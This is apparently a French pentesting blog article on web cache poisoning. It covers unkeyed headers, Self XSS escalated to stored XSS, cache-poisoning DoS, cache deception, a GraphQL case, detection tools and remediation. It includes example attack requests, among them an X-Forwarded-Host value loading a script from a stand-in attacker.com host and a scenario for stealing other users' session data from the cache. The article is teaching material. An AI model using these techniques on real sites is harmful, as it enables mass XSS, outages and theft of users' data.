Cache Poisoning : anatomie d'une classe de vulnérabilités souvent sous-estimée

Cache Poisoning : architecture, Self XSS → Stored XSS, CPDoS, Cache Deception et exploitation via GraphQL. Méthodologie et outils pour pentesters.

TL;DR — Le cache est partout, mal configuré et rarement audité sérieusement. Le Cache Poisoning regroupe plusieurs familles d’attaques qui permettent, selon le contexte, de transformer un Self XSS inoffensif en Stored XSS globale, de mettre hors service un endpoint pour tous les utilisateurs, ou d’exfiltrer des données sensibles d’autres sessions. Cet article pose les bases et detaille les techniques à connaître.


Pourquoi s’intéresser au cache ?

Les serveurs de cache sont des intermédiaires transparents : ils stockent des réponses HTTP afin de les restituer rapidement sans solliciter à chaque fois le serveur d’origine. L’objectif est double : réduire la charge serveur et accélérer la distribution géographique des contenus (CDN).

Ce qui les rend intéressants du point de vue offensif, c’est précisément leur position : entre l’attaquant et les victimes. Si un attaquant parvient à faire stocker par le cache une réponse malveillante, celle-ci sera servie à l’ensemble des utilisateurs suivants, sans interaction supplémentaire de l’attaquant.


Architecture et fonctionnement

Un serveur de cache stocke ses données en RAM ou sur un stockage rapide. Lorsqu’une requête arrive :

  1. Le cache calcule une clé de cache à partir de certains éléments de la requête
  2. Si une réponse correspondant à cette clé est déjà stockée (cache hit), elle est retournée directement
  3. Sinon (cache miss), la requête est transmise au serveur d’origine, et la réponse est stockée pour les requêtes futures
Client → [Cache] → Serveur d'origine
           ↑
    Stockage de la réponse
    pour les prochains clients

Lire l’état du cache dans les en-têtes HTTP

Quelques en-têtes permettent de diagnostiquer le comportement du cache lors d’un test :

En-têteValeurSignification
X-CachemissRéponse servie par l’origine
X-CachehitRéponse servie par le cache
X-CachebypassCache contourné (spécifique à certaines solutions)
Age42La réponse a été mise en cache il y a 42 secondes

Ces en-têtes ne sont pas standardisés. Leur présence et leur nom varient selon la solution (Cloudflare, Varnish, Nginx, Akamai…). L’absence d’un de ces en-têtes ne garantit pas l’absence de cache, c’est un point critique pour la détection.

L’en-tête Vary est lui standardisé et indique explicitement quels en-têtes de la requête sont inclus dans la clé de cache :

Vary: Accept-Encoding, Accept-Language

Les clés de cache : le cœur du problème

La clé de cache est la concaténation de certaines parties de la requête HTTP que le cache utilise pour identifier une réponse stockée. Elle inclut typiquement :

  • La méthode HTTP (GET, POST…)
  • Le chemin et les paramètres GET
  • L’en-tête Host

Ce qui est exclu de la clé de cache est souvent traité par le serveur d’origine mais ignoré par le cache lors du stockage. C’est précisément là que naissent les vulnérabilités.

Exemple concret : l’en-tête X-Forwarded-Host est souvent utilisé par le serveur d’origine pour construire des URLs dans la réponse, mais il est rarement inclus dans la clé de cache. Si le serveur réfléchit sa valeur dans la réponse, un attaquant peut injecter un domaine malveillant qui sera mis en cache et servi à tous les utilisateurs suivants.

GET /page HTTP/1.1
Host: exemple.com
X-Forwarded-Host: attacker.com     ← Inclus dans la réponse, mais PAS dans la clé de cache

Vulnérabilité #1 : Self XSS → Stored XSS par Cache Poisoning

Le problème

Un Self XSS est un XSS que seule la victime peut déclencher sur elle-même (par exemple via un paramètre GET réfléchi). Normalement sans impact réel. Mais si le paramètre réfléchi n’est pas inclus dans la clé de cache, la situation change radicalement.

Comment ça fonctionne

  1. L’attaquant envoie une requête avec un payload XSS dans un en-tête non clé (ex. X-Forwarded-Host)
  2. Le serveur d’origine réfléchit la valeur dans la réponse (ex. dans une balise <script src=""> ou une métadonnée)
  3. Le cache stocke cette réponse malveillante sous la clé normale (sans l’en-tête injecté)
  4. Tous les utilisateurs suivants qui accèdent à cette URL reçoivent la réponse empoisonnée → Stored XSS globale
Attaquant → GET /page + X-Forwarded-Host: attacker.com/evil.js
Serveur   → <script src="https://attacker.com/evil.js"></script>
Cache     → Stocke cette réponse sous la clé GET /page
Victime   → GET /page → Reçoit le XSS sans rien faire de particulier

Impact

Ce vecteur transforme une vulnérabilité considérée comme “informative” ou “low” en bug critique, exécutant du JavaScript arbitraire dans le navigateur de tous les visiteurs d’une page.


Vulnérabilité #2 : Cache Poisoning DoS (CPDoS)

Le principe

Certains serveurs de cache sont configurés pour stocker non seulement les réponses 200, mais aussi les erreurs (400, 404, 500…). Un attaquant peut exploiter ce comportement pour rendre un endpoint indisponible pour tous les utilisateurs.

Mécanisme

  1. L’attaquant envoie une requête avec un en-tête malformé ou intentionnellement trop long
  2. Le serveur d’origine retourne une erreur 400
  3. Le cache stocke cette erreur sous la clé normale
  4. Tous les utilisateurs suivants reçoivent le 400, même avec des requêtes parfaitement valides
Attaquant → GET /api/data + X-Malformed-Header: [4096 caractères]
Origine   → HTTP/1.1 400 Bad Request
Cache     → Stocke le 400 sous la clé GET /api/data
Victime   → GET /api/data → 400 Bad Request (DoS)

Exemple réel : miroir APT

Un miroir de paquets APT a été identifié comme vulnérable à cette technique. En envoyant un en-tête avec une valeur délibérément longue, une erreur 400 a été provoquée sur le fichier d’intégrité des paquets (InRelease). Ce fichier étant mis en cache avec l’erreur, le gestionnaire de paquets apt devenait indisponible sur toutes les machines utilisant ce miroir, jusqu’à l’expiration naturelle du cache.

Note pour le bug bounty : Pour prouver un CPDoS sans réaliser de DoS en production, on simule l’attaque via un proxy local et on compare le comportement des réponses (avec et sans payload) sans jamais empoisonner réellement le cache de production.

Technique CPDoS avec l’en-tête Authorization

Une variante intéressante : inclure un en-tête Authorization invalide dans la requête d’empoisonnement. Si le cache stocke le 401 qui en résulte, tous les utilisateurs, même authentifiés, reçoivent une erreur 401 pour cet endpoint.

Méthodologie de test en 3 étapes

Étape 1 — Requête de référence
  GET /endpoint (avec cookies valides)
  → Noter le status code de référence (ex. 200)

Étape 2 — Requête d'empoisonnement
  GET /endpoint + cachebuster + payload malformé
  → Vérifier que l'origine retourne bien une erreur

Étape 3 — Requête de vérification
  GET /endpoint (identique à l'étape 1, sans payload)
  → Si le status code diffère de l'étape 1 : le cache a été empoisonné

Piège courant : certains outils automatisés détectent le 400 de l’étape 2 et concluent immédiatement à un CPDoS, ce qui génère de nombreux faux positifs. La comparaison entre l’étape 1 et l’étape 3 est ce qui valide réellement le bug.

Remédiation

La correction est simple en théorie : ne jamais mettre en cache les réponses d’erreur (codes autres que 200, 301, 302, 404 selon la politique métier). Les serveurs comme Varnish ont des configurations par défaut permissives qui peuvent facilement conduire à la mise en cache de toutes les réponses, y compris les erreurs.


Vulnérabilité #3 : Cache Deception

Le principe

À l’opposé du Cache Poisoning (où l’attaquant empoisonne le cache pour les autres), le Cache Deception consiste à tromper le cache pour lui faire stocker une réponse dynamique contenant des données sensibles, puis à les lire.

Mécanisme

Certains serveurs (notamment Ruby on Rails, mais aussi d’autres frameworks) tolèrent des extensions de fichiers inconnues à la fin d’une URL dynamique. Si le cache est configuré pour mettre en cache les fichiers statiques (.json, .js, .css…), il peut être trompé.

URL normale       → /api/user/profile        (dynamique, non cachée)
URL forgée        → /api/user/profile.json   (traitée comme fichier statique → mise en cache)

Scénario d’attaque

  1. L’attaquant forge une URL avec une extension statique pointant vers un endpoint dynamique sensible
  2. Il envoie cette URL à une victime authentifiée (via phishing, image, etc.)
  3. La victime charge l’URL : le serveur retourne ses données personnelles (token, ID, infos de profil)
  4. Le cache stocke cette réponse
  5. L’attaquant accède à la même URL et récupère les données de la victime depuis le cache

Un cachebuster (paramètre aléatoire) est souvent nécessaire pour éviter de récupérer une réponse déjà mise en cache par quelqu’un d’autre, et s’assurer que c’est bien la session de la victime qui est capturée.


Cas avancé : exploitation d’une API GraphQL via Cache Poisoning

Ce cas illustre à quel point les architectures modernes peuvent créer des surfaces d’attaque inattendues.

Contexte

Sur une plateforme NFT, une API GraphQL signait cryptographiquement une partie du corps des requêtes POST pour prévenir la falsification. À première vue, le cache poisoning semblait impossible.

La faille

Le serveur GraphQL acceptait également les requêtes via le paramètre query dans l’URL (une fonctionnalité peu documentée mais courante). Or, ce paramètre URL n’était pas inclus dans la clé de cache.

Requête légitime (signée) :
POST /graphql
{"query": "{ getUser { id name } }"}

Requête empoisonnée :
POST /graphql?query={ getUser { id: \"ATTACKER_ID\" } }
                    ↑
        Non inclus dans la clé de cache,
        mais exécuté par le serveur GraphQL

Résultat

L’attaquant pouvait contourner la signature et faire mettre en cache une réponse GraphQL arbitraire, servie ensuite à tous les utilisateurs effectuant la même requête.


Détection : par où commencer ?

Identifier la présence d’un cache

  1. Rechercher les en-têtes Age, X-Cache, CF-Cache-Status, X-Varnish
  2. Rejouer une requête GET identique plusieurs fois : si le temps de réponse chute drastiquement, un cache est probablement présent
  3. L’absence de ces indicateurs ne signifie pas l’absence de cache

Identifier les paramètres non inclus dans la clé

L’outil Param Miner (extension Burp Suite) automatise cette étape : il injecte des valeurs tracées dans de nombreux en-têtes et paramètres, avec un cachebuster pour chaque tentative, et détecte les réponses qui réfléchissent la valeur injectée sans que celle-ci soit incluse dans la clé.

Approche méthodique en pentest

  • En fin de test, analyser toutes les URLs collectées dans le proxy à la recherche d’en-têtes de cache
  • Tester prioritairement les endpoints qui servent du contenu commun à tous les utilisateurs (pages d’accueil, scripts JS, endpoints d’API publics)
  • Pour les APIs, tester les variantes d’URL avec extensions (.json, .js) et les paramètres de query

Outils recommandés

OutilUsage
Param Miner (Burp Suite)Découverte des paramètres non clés, cachebusters automatiques
FiddlerFlyDébogage de cache, définition de règles Varnish personnalisées
C-Pal (en développement)CPDoS et énumération des clés de cache, réduction des faux positifs

Pour approfondir le sujet, les labs et articles de PortSwigger Web Security Academy sur le Cache Poisoning constituent la référence incontournable.


Récapitulatif des vulnérabilités

VulnérabilitéPrincipeImpact typique
Self XSS → Stored XSSEn-tête réfléchi, hors clé de cacheXSS globale sur tous les visiteurs
CPDoSMise en cache d’une réponse d’erreurDoS sur un endpoint pour tous les utilisateurs
Cache DeceptionMise en cache d’une réponse dynamique sensibleExfiltration de données d’autres sessions
GraphQL Cache PoisoningParamètre d’URL exécuté mais hors cléFalsification de réponses d’API signées

Conclusion

Le cache est une surface d’attaque systématiquement sous-évaluée, en partie parce qu’elle est invisible dans l’architecture applicative standard et que ses comportements varient fortement d’une solution à l’autre. Les vulnérabilités de cache ne nécessitent pas de conditions exotiques : un en-tête réfléchi sans sanitisation, une configuration qui met en cache les erreurs, ou un framework qui accepte des extensions inattendues suffisent.

Pour les pentesters : intégrer la détection du cache dans la phase de reconnaissance et analyser systématiquement les en-têtes de cache en fin d’audit. Pour les équipes défensives : restreindre la mise en cache aux seules réponses valides, inclure explicitement les en-têtes sensibles dans les clés de cache, et auditer régulièrement la configuration de votre solution CDN ou de reverse proxy.

BZ
BZHunt

Expert en cybersécurité offensive — BZHunt